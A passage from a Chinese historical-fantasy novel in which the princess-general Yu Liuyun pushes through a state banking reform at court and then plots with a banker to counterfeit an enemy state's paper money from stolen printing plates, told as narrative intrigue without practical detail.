切入正题了!官员们想,与其跟玉旒云耍花枪,倒不如明明白白地说话,否则被她搞个晕头转向再悄悄捅一刀就太不值了。于是就有人带头道:“王爷这些天来不是一直在辛苦追查吗?户部亏空实在太严重……” “也不全是因为亏空。”谭方见缝插针地完成悦敏交待的任务,“先帝爷轻徭薄赋,本来国库里还是有不少应急银子的,可是皇上登基以来连连大兴战事,花销之巨……王爷只管带兵不管养兵,我们兵部那里的账看起来可吓人得很!” 玉旒云早就觉得谭方有些古怪,估计他是赵王的党羽,笑了笑,道:“是。本王原来只知道打仗,不关心银两。现在奉旨管账,才知道经营艰难,深悔当初带兵在外时不能把一个铜钱掰成两半来花。本来这次查账的目的是想追讨除二百万两劳军银子,如今忙乎了这么久,也不过才追回了二十万两。所以我想,士兵嘛,也都是老百姓的父兄子侄,有哪一个想看亲人挨饿的?我就替他们做主,劳军银子不发了,用来赈灾。” 众人听了都不由一愣,但心里知道,玉旒云还有后话未说。 果然玉旒云又接着道:“不过二十万两是远远不够的。况且要保证甘州不再饿死一个人,恐怕开始预算那四十万两也做不到。大家看看,有什么办法筹集赈灾银两?” 好嘛!大家面面相觑,看看谁愿意当这个出头鸟。殷复得玉旒云“面授机宜”还清了亏空,清了清嗓子,道:“依下官之见,应该催促没有还清欠款的官员赶紧向户部还银子。只要大家都把银子还回来,户部必然银两充足,区区四十万两算得什么?” “不错,不错!”大部分官员都附和起来。他们想,短期内筹集大笔银子无非两个办法:要不就是募捐,要不就是继续追查亏空。如果募捐,他们既然能“还”得出钱来,自然首当其冲,所以还是做恶人,支持向其他官员追债比较好。殷复有人支持,暗暗得意,又补充道:“有些人向户部借银子是为了翻修房子或者购置庄园,这都是可做可不做的事,怎比得上甘州百姓等着救命这么紧急?所以大人一定要向皇上请旨,让官员们限期还清欠银。” 玉旒云点了点头,但并没有说赞同。 谭方有点儿后悔没让悦敏多派几个人来给自己壮声势,此时只有独自反驳:“殷府尹,你也不能一竿子打翻一船人吧?不错,有些人借银子的确是为了买园子盖房子,不过有些人真的是有难处。京官的俸禄有多少?大家凭着良心来说话,你们的俸禄够你们养妻活儿么?今天在王爷面前我就不遮丑了,我自己也欠着户部银子,王爷一直追,我一直没还,为的是什么?我父母年事已高,我妻子是独生女,她的父母也都过了花甲之年。我家因此有四个老人需要奉养,靠我一个人的俸禄怎么够?我也不怕老实说,我收受‘冰敬’、‘炭敬’,虽然这不合规矩,但我迫不得已——王爷一定要追究,我只有老命一条!”说着,竟跪了下来。 “谭大人……”旁边的人赶紧来扶。 玉旒云语气淡淡的:“我知道家家有本难念的经。外头的官就可以‘三年清知府十万雪花银’,京官单靠俸禄实在困难。不过这些要慢慢改革嘛,现在先救甘州的百姓要紧。谭大人,你有什么高见?” 谭方道:“下官哪里会有高见?王爷不到一个月的时间就已经追回了二十万两银子,这些人还银子还的如此爽快,可见并不是真的急缺钱用,而是想白占国家的便宜。王爷想要银子赈灾,应该一方面继续追讨此类亏空,另一方面让这些已经还款且家境富裕的官员捐资……” “谭大人!”殷复打断,“你凭什么说已经还了钱的都是家境富裕只想白占国家便宜的?你不遮丑,殷某也不怕说出来——我也是刚刚还清亏空。寒舍你也来过,是什么情形难道你不记得了吗?我也是上有老下有小,乡下的穷亲戚多的是要我周济。我现在还清了亏空,过几天家里能不能开饭还是问题,你却含血喷人——不,你还想从我身上吸血,你安的是什么心?” 其他人亦都道:“就是。我们还清亏空,是因为……皇上教训过了,国库不是我们自家的帐房,不能随便从国库里借银子。我们知错能改,不管家里再困难,也把银子还出来。你们凭什么死赖着不还?难道违抗圣旨有理,我们遵旨改过的人反而要多拿出银子来么?你以为就你一个人会寻死觅活?若要逼我们捐款,我们也只好奉上老命一条了!” 大家你一言我一语,很快就吵了起来——虽然表面上是殷复等还了钱的官员和谭方争执,但其实是大家一齐跟玉旒云吵闹,谁也不想户部亏空的事继续追查下去,更不想自掏腰包赈济甘州旱灾。 玉旒云心里雪亮,偏偏一句话也不插,由得他们吵,只时不时和石梦泉交换一个眼神。他们两个早就周密地计划过,还有重头戏在后面。 正当官员们闹得不可开交之时,忽然听到一人道:“原来诸位卿家都这么穷,那这笔钱看来只好由朕自己出了!”正是庆澜帝神不知鬼不觉地到了他们身边。他们不由大京,乱七八糟地倒身下拜。而玉旒云和石梦泉则一边一个紧紧护卫到了庆澜帝的身边。 “平身吧。”庆澜帝虚抬了抬手。众人这才看到他原来是微服。“甘州的灾情的确严重。”庆澜帝道,“玉爱卿,你煮的这菜粥给朕也来一碗。” 玉旒云道:“是。”那边下人早就盛好了,她双手亲自捧给了庆澜帝,然后自己和石梦泉也一人陪了一碗。官员们无法,也都递上空碗去要和皇上同担艰苦。不过,玉府下人还来不及把二十多碗粥盛好,庆澜帝已经喝完了,叹气道:“唉,朕为了甘州百姓,连月来都睡不好,原指望内亲王和永泽公追户部亏空可以迅速办妥,不想竟如此艰难。朕本来非常生气,想把所有亏空国库的官员统统问斩,不过玉爱卿早就同朕说了,你们都有自己的难处。今天听你们在这儿倒苦水,朕才真的信了,就真拿刀架在大家的脖子上,大家也拿不出这么多银子来。你们都在过紧日子,朕却每一顿还要有几十道菜,想起来真是惭愧。所以朕决定了,由今儿个起,朕和皇后、太后以及其他妃嫔每一餐都不再超过三个菜,把内务府里的膳食银子拿出来赈灾!” “万岁……”官员们不知他这话时认真还是赌气,吓得稀里哗啦全部跪倒,“臣等惭愧,臣等无用。” 庆澜帝道:“不是你们没用,是朕无能,是朕愧对先帝爷和列祖列宗啊!”说着竟好像要滚下泪来。 官员们不管是真没银子还是装拮据,这时候都不能再哭穷了,纷纷叩头表态:“臣等不能为万岁分忧,臣等死罪。”又有道:“臣等就算把自己饿死,也不能让甘州的百姓挨饿。”连谭方也不敢继续唱反调,一边在心里骂悦敏和赵王计算失误,一边碰头道:“臣砸锅卖铁也要把亏空还上。” 庆澜帝看着一班大臣哭哭啼啼,仿佛有些失措,望了望玉旒云。 玉旒云便道:“诸位都是上为皇上分忧下为百姓请命的好官,逼得你们砸锅卖铁饿肚子岂是长久之计,又岂是我大樾之福?再说……”不知何时她手上已经多出了一叠单据,晃了晃,道:“再说你们现在已经砸锅卖铁了,这一笔要怎么办?” 谭方故不知玉旒云手上是何物,而殷复等人却明白是鼎兴的借据,登时都傻了眼。 玉旒云笑了笑,道:“你们肯借债来填补亏空,可见你们对国家忠心。这份心意皇上都看在眼里,记在心里,将来决不会亏待你们。不过,你们这种拆东墙补西墙的法子,也不能在朝廷中推广呀!” 殷复等人现在明白原来自己一早就被玉旒云抓在手掌心里,都低着头不敢作声。 庆澜帝道:“玉爱卿,那你有什么良策?” “臣的确想了个对策。”玉旒云道,“不过究竟是不是良策,还要请万岁爷定夺。”当下袖中取出早就写好的折子,把官办票业的计划细细解释。 票业官办之后,在户部设立大樾票业司,管理全国借贷,并且创立票业总会,与全国票号共商借贷利率与票业律法,其法将写入大樾律。今后,凡符合新票业律借贷条件的票号、商家或个人都可按照通行利率向票业司的总号和分号借银,立字据为约,逾期不还,由票业司交刑部法办。而票业司在国家急需银两之时,也可按照票业律的规章向票号、商家或个人借贷,立字据为约,足息归还。 这条新法只要一明发上谕,所有拖欠拖欠户部的银两将按照现在西京票业会馆的通行借贷利率计算利息,官员不论品级,将限期三年内还清亏空,且即日起朝廷将开始从俸禄中分期扣除欠款。父子兄弟同朝为官的,若父债不清,可以子偿,以此类推。三年不还,票业司会清算该官员家族田产,或者责令其以劳偿贷。 当然,票业司并非普通商家,法理不外乎人情。凡确有困难的,经票业司审查属实,可以减息,免息。如果三年无法还清的,可以同户部立约,另选偿贷期限。 为免有人浑水摸鱼利用票业司中饱私囊,票业司将由户部负责出纳、结算,刑部主理审查,涉官员则由吏部协助,涉平民则由地方官协助,再由监察御史负责监督,最后由票业司郎中向议政处汇报,需由庆澜帝最后拍板。 怎么借,怎么还,怎么处理例外情况,怎么实施监督杜绝贪污,玉旒云这么多天来的思考总结可谓十分周详。众官员们虽然有些地方一时半会儿不能全然听懂,但也不得不惊叹此计划之新颖大胆。尤其当他们听到其他未还清亏空的人要开始交付利息了,心中最是痛快——他们自己从鼎兴借钱,不也要交利息的么?这样总算公平!而谭方则是心想:不知赵王爷那边撑不撑得住?如果皇上这次来硬的,我还是早早把银子还上为妙! 玉旒云一气说完,用了一顿饭的时间都不止。官员们一直跪着,两脚发麻了,才听她问:“万岁觉得臣的办法可行么?” 其实今日请庆澜帝来助阵,也是玉旒云早就计议好了的,所以官办票业也一早和皇帝汇报过了。庆澜帝并无异议,且大加赞赏,唯独担心群臣受到赵王挑唆,反对改革。玉旒云拍了胸脯,说必然成功。这时庆澜帝才看出她的这场鸿门宴是这个功用,即清了清嗓子,道:“朕……朕看着不错。不晓得诸位爱卿以为如何?” 官员们还能说什么?都碰头道:“皇上圣明,内亲王的提议正可解决亏空难题,又不至于全不近人情,实属上策。” “既然这样,”玉旒云道,“我明日就把这折子递上去,各位是国之柱石,希望能够多多支持。” “是,是。”官员们哪敢摇头。 庆澜帝道:“何必还等明日?既然诸位卿家都愿意支持玉爱卿,不如把这折子改成联名的嘛。笔墨都是现成的,这就签了名,直接交给朕,否则从上书房那里弯来绕去还不知要耽搁多少时辰呢!”他的语气纯是建议,但是旁边早就已经呈上了文房四宝来。官员们一看,知道不能够骑墙,反正设立票业司对自己也没害处,就一个跟一个乖乖在折子上签名。 谭方是最后一个,本来想乘人不注意告个更衣赶紧溜去给赵王父子报信,但是一看四周,早就有二三十个家丁打扮得壮汉牢牢把守——看来并非玉府下人,而是庆澜帝微服出宫带的近身侍卫。谭方捏了把汗:罢了,罢了,这里签名支持票业司多他一个不多,赵王那边抵制清查亏空少他一个不少,先签了吧!于是他也到跟前提起笔来。扫了眼折子,心中又不由一抖:原来除了今天来赴鸿门宴的诸位官员之外,潘硕、卢近、陈灏、慕容齐等玉旒云的新老部下早已签过,石梦泉自然不在话下,名字就写在玉旒云的后面。谭方暗想,得把这些名字统统记下来汇报赵王才好! 不过,玉旒云并没有给他时间记忆,见他签好,就将折子抽了过来,双手呈给庆澜帝。庆澜帝笑嘻嘻接了,道:“玉爱卿,听说你今天本来请了很多人,不过到的很少嘛。” 玉旒云道:“是,回万岁的话,因为赵王爷和臣同时宴客。请的客人也大致相同,大家总不能分身。臣想,永泽公也是户部查账的钦差,今天应该亦是请诸位大人去商议填补亏空之事。反正都是为皇上分忧解难,是他做还是臣做又有什么关系?也许明天永泽公那边也想出妙计,另递上一条联名折子呢?” 庆澜帝道:“那最好不过。朕想,现在的关键不是逼人还债,而是把国库的窟窿填上。希望永泽公也会有妙计。不过玉爱卿的这条计实在很好,诸位爱卿如果今晚散席还有功夫拜会同僚,不妨跟他们交流交流。明天朝会上议起来,那些今天没来的人也不至于全模不着头脑,说不上话嘛。” 这意思很明显,大家想,就是皇上采纳了玉旒云的建议,要他们立即去找其他人也一起支持,趁着今晚想好怎样在朝会上有理有力地说票业官办的好处。虽然感觉自己是被人于股掌中玩弄了一大圈,但是静下心来想,的确新法好处众多,为何不卖个人情给皇上和玉旒云呢?于是除了谭方之外,所有官员都连声称是。 庆澜帝因道:“好吧,朕知道朕呆久了,你们也不痛快,朕这就去了。”便举步朝外走。官员们才站起来没一刻,又要跪送。只玉旒云和石梦泉率领那群微服的侍卫跟在庆澜帝身边,亲自送他出门去。 才踏出花园,庆澜帝就长长地吁了口气,道:“怎样?玉爱卿?你教朕说的话,朕没说错吧?” 玉旒云笑笑:“没错。皇上说得简直好极了!”同时她也看了一眼石梦泉,仿佛是说:准备好了吗?开战了! 78. 第 78 章 玉旒云所期盼的这一场仗没有打起来。 她兴奋了一夜没有睡着,天不亮就起身,赶在朝会之前先到议政处看看动静。和她猜想的差不多,官办票业的消息已经在夜里飞遍了西京,廉郡王等几人都得了消息,因为他们欠着巨款,一旦追缴利息怕要倾家荡产,所以都不赞同,看到玉旒云进来就一齐瞪眼睛。玉旒云只想看看悦敏的反应,然而却不见,她暗道:莫非还在家里思考对策? 她料得倒是不错,只不过赵王和悦敏所想的对策却大出她预料。 前夜谭方跌跌爬爬地将玉府发生的事情报告到赵王府,赵王父子两人有半晌没说出话来:他们陪着玉旒云绕了这么大一个圈子,没想到只把自己绕了进去,而玉旒云剑走偏锋,出奇制胜,他们发觉时已经招架困难。 “设立票业司程序复杂,不是一朝一夕就能做成的。”打发走了谭方,悦敏思考着怎样应对,道,“而且她这样一个只晓得带兵打仗的人独立制定如此庞大的计划,一定漏洞百出。虽然我们现在来不及联络百官一起反对,但是明天朝会上据理力争,也应该可以得到支持,制止玉旒云的计划——不过可惜,谭方对玉旒云的设想只听懂了十之一二,我们实在很难想出具体的辩驳之策——父王,你看如何?” 赵王深锁着眉头,沉默半晌,突然阴阴地开了声:“不,我们在这个节骨眼儿上不能反对玉旒云。” 悦敏一怔:“为什么?” 赵王道:“你看到她改变了皇城的禁军巡逻制度,就猜到她是想摆一个陷阱等着我们朝里跳——户部这件事,本来我们是想让她做恶人,进一步削弱她和皇帝的势力,如今她提出这么高明的计划,凡有脑子的静下心来想一想,哪个不支持?我们一反对,就成了恶人了,就算不掉进她的陷阱里,也会被她削弱了实力。我们岂不是赔了夫人又折兵?” 悦敏道:“可是,她既解决亏空问题又给了官员们一条活路,在朝中声望必然大涨。许多还不为我们所用的官员得了她的恩惠,就不会投靠到我们这一边来了。” “谁说那是她的恩惠?”赵王道,“如果我们也支持,那这恩惠不也是我们给的么?宁可水涨船高,大家到浪尖儿上一起再比一场,不能由着她扬起一个浪头来把咱们淹没了。” 悦敏想想,玉旒云下好了套子,自己怎么也不能朝里钻,但是被这个一年前还被自己玩得团团转的小丫头挫败,他心里十二万分的不甘。“父王的意思儿子不太明白,”他道,“同到浪尖儿上再比一场,要怎么比?” 赵王冷冷一笑:“设立票业司,说得这么好听。我不管她弄得有多么花哨,肯定是一边追亏空一边向有钱的人借钱,想办法把国库里的窟窿填起来。我们跟她比,就比谁填得快,比谁得罪的人少。” 听语气仿佛已经有了高招,悦敏即问道:“莫非父王想出了反击的法子?” 赵王看了他一眼,责备之意流露无遗:“你要是把花在博西勒身上的精神花一半到正事上,也不会被玉旒云踩在头上!” 悦敏垂下头。 赵王叹了口气:“你这么大人了,我总以为你可以独当一面,现在看来你还难成气候,多跟着我练练吧。”当下就把自己的想法如此如此这般这般跟儿子说了一回。末了,道:“总之第一件事就是明天朝会上你带头支持她。这必然大出她所料,迎头一棒把她打懵。然后,咱们再一步一步收拾她。” 悦敏将父亲的话细一体味,不得不佩服他姜还是老的辣。点点头道:“儿子这次一定不让父王失望。” 赵王道:“失不失望不是靠嘴说出来的,你还不写条陈?” “是。”悦敏答应了,挑灯夜战,写下条陈二十——这也就是第二天让玉旒云在朝会上大吃一惊的那些话的出处,虽然悦敏并不是完全了解玉旒云的设想,不过他在官场的经验毕竟丰富些,又有赵王从旁指导,这二十条有一半都派上了用场——七条正好是陈述了官办票业的好处,三条是玉旒云并没有想到的,悦敏提出来正好作为补充。 本来玉旒云是预备好了在朝会上先打上一场口水仗,不料敌人竟成了自己最大的支持者,她预备好的所有陈词最终变了和悦敏一唱一和。文武官员许多看得丈二和尚摸不着头脑,但是既然这两个人都支持设立票业司,其他人也不敢反对,纷纷表态,愿意为官办票业出力。唯一公然反对的就是廉郡王等几个人,理由是,向官员追讨亏空或者抄家抵债都没关系,但是此法不应适用宗亲。这一点阻滞被悦敏疏导通了——反正票业律还没有制定,这些都可从长计议嘛!最终,满朝官员一致赞同票业官办,设立户部票业司,庆澜帝当堂口述,翰林院立刻笔录润色,上谕既出,当天传邮全国。 玉旒云本来满怀兴奋,这时就像吃了苍蝇似的感觉窝囊——其实赵王会有如此应对她早就应该考虑到,无奈百密一疏,一番心血变成为他人作嫁。石梦泉知道自己现在帮不了什么忙,只能开导:“兵来将挡,水来土掩,才一个回合,胜败还不知道呢。今晚送鬼大放烟花,大人不放轻松一下,也许就想到对策了呢?” 玉旒云哪里有心情:“每年还不都是那个样?还不如回去睡觉。” 石梦泉拉住她道:“我就不信大人能睡得着!一张一弛,文武之道。再说,大人怎么知道永泽公忽然来打了你一闷棍,为的不是乱你的阵脚,然后乘机发难?中元节放烟花历来是皇城最混乱的时候,可不能大意,大人还是陪在皇上身边为宜。” 玉旒云倒不觉得赵王想趁乱加害皇帝,只想:输拳脚输口舌也不能输气势,就算一时扳不倒赵王,实现了官办票业也是一件好事,怎么也不能再悦敏面前示弱。因道:“好吧。”当晚还按往年的规矩来到宫中,看焰口鬼王,和尚道士做水陆法事,以及女眷们放莲花灯——从头到尾什么异状也无。她和容贵妃匆匆地打过一个照面,这位迅速得宠又迅速失宠的蛮族公主消瘦了许多,比先前更显得高鼻深目,很符合这鬼森森夜晚的气氛。玉旒云并没有多想,只记挂着下一步要怎样行动,看那千万盏莲花灯位孤魂野鬼照亮了前程,知道诡异又热闹的中元节至此告一段落,就早早地向庆澜帝告辞,只留石梦泉继续监管当夜的防务。 她回到府中其实时辰还早,不过已经有客人在等着了。让下人一一带到书房来见,头一个是罗满和卢进派来送信的。罗满升任东海总兵之后按照玉旒云的吩咐,收编郑国陆军水师,陆军凡愿意继续当兵的,一边操练一边参与郑国战后的修建,而郑国水师则由卢进负责和铴国水师统一重新编队为大樾水军,分别在蓬莱城和神女关操练,目前已经初有成效。只不过,许昌率领工兵营研制火炮和灌钢技术遇到了很大的困难——按照西瑶提供的图纸和《铸造秘要》的描述,无论是制造火炮的炮筒还是坚硬的箭头都需要“重石”。玉旒云虽然从西瑶带回了几枚重石作样品,可许昌和工兵营所有工匠以前都没有见过这种矿石,也不知道樾国何处能够开采。目下他们正一方面寻访各地矿山有经验的工匠,看看能否勘采此矿,另一方面试图以其他成分取代重石,只是两下里都还没有什么进展。 玉旒云听到这个消息,立刻脸色更加阴沉了:可恶的段青锋和孝文太后——她早该想到世上没有这么便宜的事,尤其是遇上了这两个精打细算之人!哼!她不禁暗暗咬牙,就不信我大樾地大物博还开不出重石矿——即便真没有,也不信我精兵良将以现在的装备打不下楚国。等楚国一灭,下一个就轮到这可恶的西瑶。 需要好好考虑一番才好回复罗满并布置新的任务,玉旒云便叫那兵士先去休息,自己会见第二个求见之人。这个人她不认识,并非军中人士,问了问,原来是驿站的,说了有一件很重要的礼物从楚国送来。 “楚国?”玉旒云奇怪,接过盒子来一看,上面有一封信的确是写给她的。信封上已经属上了写信人的名字,乃是程亦风。信里程亦风说,那对狮子已收到,感谢她将张至美夫妇送来凉城,又说既然她对这夫妻二人能有恻隐之心,为何要一而再再而三地大兴战事,以致生灵涂炭呢?程亦风探花出身,文采斐然,一封信写得不卑不亢,既恳切又略带责备,本来是洋洋一篇大作,但玉旒云看来迂腐可笑:这书呆子怎么也想不到她送那对狮子的真正目的——他想不到,那么公孙天成呢? 吩咐来人把盒子打开,见里头还有两个小锦盒:“怎么,程亦风这么阔气,送我两件礼物?”再仔细一看,小盒子上贴着纸条,上面“敬呈玉旒云大人”几个字和信的字体相同,应该是出自程亦风之手,而另外一个大盒子上的纸条则有送礼人的署名,乃是公孙天成。 哼!她冷冷一笑,先看程亦风送的礼——是一部《论语》。圣人以仁义治天下,书呆子想说什么,她不用猜也知道。再看公孙天成的,是一面红木小屏风,上面用极小的字刻了一部《女孝经》。这老头儿!玉旒云又好气又好笑,做这么无聊的事情,哪里像是个谋臣,简直像是泼妇! 正想叫人把这屏风扔了,可当她看到屏风下衬着的浅黄色丝帕,她的心不由猛地一跳。“你出去领赏吧。”她打发那驿站的人。 等那人去了,她即倒了盆清水,将黄丝帕往里一浸便显出字迹来。看那开头处涂着三个葡萄大小的实心圆点,正是和细作约定的记号,她不由松了口气:开始还担心是公孙天成识破机关特来挖苦她呢!便细看那信的内容,一读之下,不禁大喜:原来她交代偷取楚国官票印版的事已经得手,为免被人识破,现在交上的是印版的副本。又因为害怕运输途中出差错,所以假装是公孙天成临时要送礼给玉旒云,当程亦风的“外交”礼物已经运出凉城,再追赶上去装在一处,保证无人检查。作幌子的屏风乃是细作依照公孙天成平日在人前对玉旒云的议论而选择,希望玉旒云不要介怀,云云。玉旒云看了,不禁大笑:“这猴崽子,也不枉我栽培他一场!”当即将信再看一遍,确信内容都记住了,就凑到灯上烧了,然后撬开大礼盒的夹层,内中果然躺着木雕印版——楚国户部官票原印版乃是铜板,但是为免铜板太重引人怀疑,所以做了木板的副本,细作信上说了,请玉旒云自寻巧匠,重新按此制造铜印版。樾国各票号也要印制自家的银票,制版的巧匠不难寻觅,玉旒云想着,拿起木印版来数了数,一共有十二张——楚国官票要十二张印版套色印刷,在防止伪造上真是花足功夫,但万万想不到会整套印版落到敌人的手中吧! 低沉了一天的情绪又好了起来:俗语说“有钱使得鬼推磨”其实也很有道理。在户部的这场交锋中,赵王砸进去了多少银两?他几乎就是靠银子来笼络人心,最后还是妥协到玉旒云票业官办的提议上来,才扭转败局。官办票业其实也还是在银子上下功夫,只不过以一种温和的方式追亏空、筹银两,还不要玉旒云自己掏腰包。如今有了这套楚国官票印版,玉旒云可以掏楚人的荷包来填樾国的亏空——不仅如此,她还可以从楚国买粮食,买矿石——如果楚国也不出产重石,就跨越楚国到西瑶去买…… 仿佛一个死结被解开,玉旒云的思路一下子变得开阔,先要如何、再要如何,派什么人、做什么事,所有的对策一一涌上心来。 好!她把那部《论语》当扇子摇着:就这么办! 第二天,票业官办的事就正式启动了。票业司郎中的人选暂时还没找到合适的,就由议政处直接管理。玉旒云是这项新政的缔造者,理所当然从户部清账钦差变成了票业司总理钦差,悦敏作为重要的“支持者”顺理成章作了她的副手。两人虽然背地里都恨不得把对方吃了,表面上还是合作无间。悦敏说玉旒云钻研票业行规已久,最适合把握大方向,所以应该主持编定票业律,而他愿意一边追缴亏空一边和商家、票号协商以求筹得甘州的赈灾钱银。 玉旒云懒得花功夫去揣测他的每一个小动作,就依了他,自己招了刑部、礼部、户部几处的官员来,将早就拟好的提纲交给他们,又吩咐他们尽快挑时间照会西京票业会馆,商议细则,写好草稿再拿来给她过目。待众官员都领了命,又问罢了各种杂项问题,她就离了衙门到鼎兴来找晋二娘。 晋二娘正亲自出马在总号柜台上忙着,一看玉旒云进来立刻迎上来迎她来到后堂。“我想王爷也该上门了。”晋二娘道,“现在要求到我们票号借款的人还有很多,这种事我们不能再做下去。王爷的大事办妥了么?” 玉旒云笑道:“上谕已经传邮天下,你怎么还没听到消息?如今朝廷设立票业司,本王的这间票号算是开张了呢!”当下就把最终写进上谕的官办票业计划略略说了,因晋二娘早先也给玉旒云出过主意,所以全不陌生。 “上谕虽发,但都是先发到官府,传到我们这些小老百姓的耳朵里还需要好些时候呢。”晋二娘笑着道,“小妇人有心要恭喜王爷,不过实在也不能装出笑脸——第一,王爷的票业司要再向我借银子,我可借不出来,第二,王爷若不尽快让人把我这儿的欠款还上,万一有人使坏让存户上门取现,鼎兴可就麻烦了。” 玉旒云笑了笑:“难怪你能打理这么大一间银号,原来你眼里只有钱。放心,我就是给你送钱来的,只是要看你有没有本事赚。” “做我们这一行跟王爷你打仗也差不多。”晋二娘道,“不怕没本事,就怕没胆子。只要胆子够大,没有做不了的事。” 玉旒云道:“打仗可不是只靠胆子。” 晋二娘道:“没胆子也学不了本事。” 牙尖嘴利!玉旒云笑笑:“好,不管你是有胆子还是有本事,只要你能把这事办成了,你鼎兴银号一定成为天下第一大票号。”说着就把随身带着的匣子打开,取出里面的十二块木印版,以及细作随版送来的真正楚国户部一百两的宝钞一张,道:“钱嘛,多印一些就有了。” “十二印版套色印刷?”晋二娘吃了一惊,捧着那宝钞细细观察,“票业会馆通用三色套印已经很难仿制,以前我也兑换过我们自己朝廷的官票,是五色套印的,简直不可能伪造。谁的本领这么高,能根据这张宝钞做出这十二印版来?” 玉旒云道:“这个你不必关心,我只问你有没有办法根据这十二块木版做出相应的铜版来,然后大量印刷这种银票?” 晋二娘皱了皱眉头:“印制□□会造成混乱,王爷初办票业,为什么……” “我帮你发财,又没有叫你杀人放火,你问这么多干什么?” 晋二娘道:“有多少银子在流通才能印制多少银票。如果银票太多,最终就会成为一叠废纸,倒霉的是老百姓。老百姓倒了霉,就宁可把白银留在身边,或者以物换物,那我们做票号的就没有生意可做了。” 玉旒云轻笑了一声:晋二娘对银票过剩的警惕倒和郭罡的说法一样。“你看清楚,这是楚国的户部官票。”她嘴角挂着冷笑,“我在落雁谷和大青河两次和楚军血战,你不会以为我只是打着好玩吧?将来楚国被我拿下,这种宝钞也自然就作废了,不管真假都不再流通。而你们鼎兴会得到大樾票业司的特许,专营楚国境内的票号,这宗买卖,你不想做吗?” 晋二娘又仔细将每块木版看了一回,思考片刻,道:“虽然困难,但是花点时间一定能做出铜版来。不知王爷所谓‘大量印刷’是多么大的量?” 听她答应玉旒云心里就松了些,道:“我要赈济甘州旱灾,还缺二十万银子。这印版是一百两的银票,算来也就需要两千张。你也知道,这是楚国的宝钞,要兑换需要去楚国,来回需时,所以月底之前我希望这两千张宝钞能印好。” 晋二娘道:“甘州旱灾要银两也是为了向别的州县或者米商买粮食,王爷何不用这些宝钞直接到楚国去购买粮食呢?岂不可以省些周折?” 玉旒云当然也考虑过,只是从楚国运粮食过大青河太显眼了,须得在南方购买然后从天江运出海,然后海运北上从东海三省登陆再在樾国境内运输。以后也许可以这么做,但是现在要运救命粮去甘州,花不起这个功夫。何况,和赵王交手的第二回合打的就是银两仗,她要让新成立的票业司能够有足够的银子周转,不再追亏空追得那么紧,这才能够让官办票业的新法立稳脚跟,也让自己牢牢把握住国家的银钱命脉。不能和晋二娘细细解释,只道:“我有我的考量,不让你吃亏就好。你只回答我印得出还是印不出。” 晋二娘将那张真的一百两宝钞递到玉旒云的面前,指着道:“印银票制版是第一道防伪,如果版差得太远,一眼就能看出破绽来。而套色就是第二道了,套色越多越难印,一旦对不整齐,图案和文字就会参差。这里十二块印版,有一块出差错,整张银票就印废了。一般我们票号的师傅印三色套印一天印二百张也不在话下,但是十二套色就……” “就怎么样?”玉旒云道,“你给我一个确数,我好计划。” 晋二娘道:“辨别银票真伪我很熟练,可是套色印刷我不是行家,要问我们那负责印票的师傅才行。” 玉旒云道:“那还不请他来?”话出口了,又道:“等等,你手下的人,你能保证他嘴巴牢靠么?” 晋二娘道:“印票和管理银库都是我们做票行的最重要的工作,不信任的人怎么会让他做?王爷想到用假官票扰乱楚国,我难道不怕别家票号偷了我们鼎兴的印版弄些假银票来坑害我吗?”说着已经起身到后面去叫人,不多时就带了一位弯腰驼背的老头子出来,向玉旒云介绍名为全友,就是鼎兴的银票师傅。 晋二娘并不说明玉旒云的身份,只道:“全师傅,这里有十二张木印版,把它们都做成铜版需要花多少时间?” 全友完全不问缘由,凑到跟前仔细地看了看,竖起三根手指。 “要三天这么久?”玉旒云微微蹙眉,“那么做好之后十二铜版套色印刷,每天能印几张?” “就我一人印?”全友略一沉吟,“三十张。” “才三十张?”玉旒云道,“三四一十二——三套色你一天印两百张,十二套色少说也要印五十张吧?怎么才三十张?” “会印错。”全友简短地。 “那能不能多找些人手?”玉旒云问。想到套色的确是很复杂的工艺,又补充道:“比如,全师傅你有没有徒弟?” “有,不过没出师。”全友一句一句顶过来,虽然说得是实事,但还是让玉旒云心里很不痛快,觉得他好像是存心泼自己冷水一样。 “不过如果掌柜的你急着要用,也不是没有办法。”全友并不看玉旒云,只和晋二娘说话:“清音寺的几位印经师傅都跟我交情很好,如果让他们帮忙,每天印一百多张也没什么问题。” “让和尚来印银票?”玉旒云讶异,“这……这是什么说法?” “你以为天下套色印刷手艺最好的是给户部印官票的人么?”全友一副教训无知少年的语气,“这张宝钞十二套色,看其来好像很复杂,但是跟清音寺的《天花乱坠图》比起来,这简直就是儿戏。” “啊,是了,我怎么没有想到!”晋二娘指着厅堂南墙上挂着的画卷道,“这就是《天花乱坠图》,请看——” 玉旒云走到跟前,见那画卷色彩鲜艳,浅深浓淡,阴阳向背,无不精细入微,哪里像是印的,竟像是手画出来的一样。 全友道:“这幅《天花乱坠图》是六十四色套印,铜版刻好之后,开始每印一张大概用一天的时间。后来诸位大师们手法熟练,彼此合作,一天也可以印十来张。照这样看,印区区十二套色的银票,怎么能难得倒他们?” 玉旒云不禁大喜,但又皱了皱眉头,对晋二娘道:“不过,印银票毕竟不比印普通图画,让清音寺的人插手,会不会节外生枝?” 晋二娘知道她担心机密外泄,想了想,就有了主意:“放心好了,十二张印版,其中九张都无关紧要,只是图案而已。我们将有字的三张抽下来,等清音寺把九色套印的图案印妥,再在票号里印字,不就成了?”边说边看看全友,征询意见。 全友便又将宝钞和印版仔细看了一回,道:“掌柜的这个主意可以行得通。那我就不耽搁时间了,这就去雕铜版。”说着就将宝钞印版都收拾了,退出门外。 毕竟是一件大事,玉旒云始终没那么容易放心,一直盯着全友的背影。晋二娘见了,忍不住道:“王爷何必担心?他在梁家做了一辈子工,他孙女儿是我的贴身丫鬟,又和我们梁新青梅竹马,现在梁新还握在你的手里,他孙女儿也握在我手里,真要有个万一,谁还逃得出王爷的手掌心?” 听她这话颇有埋怨自己的意思,玉旒云笑了笑:“谁又真想出什么‘万一’呢?梁公子聪明伶俐,在梦泉家里住得很开心。你帮我把官办票业的事做成了,我怎么会亏待他?之前答应你要提拔他,现在就兑现。” “果真?”晋二娘狐疑地,“王爷你不会当真让他去做侍卫吧?” 玉旒云摆摆手,笑道:“小孩子哪里有定性?学武做侍卫,也都是看着好玩儿而已。他是你梁家的独子,自然要继承梁家的生意。你不是很想他能够成为官商么?我自然会让你如愿。” “哦?”晋二娘道,“既然王爷也打算让他做生意,何必还要让他继续打搅石将军?难道他能跟着石将军学生意吗?” 玉旒云道:“你说对了一半。我不是要他跟着梦泉学做生意,我是要他跟着梦泉,替我做一桩大买卖。” 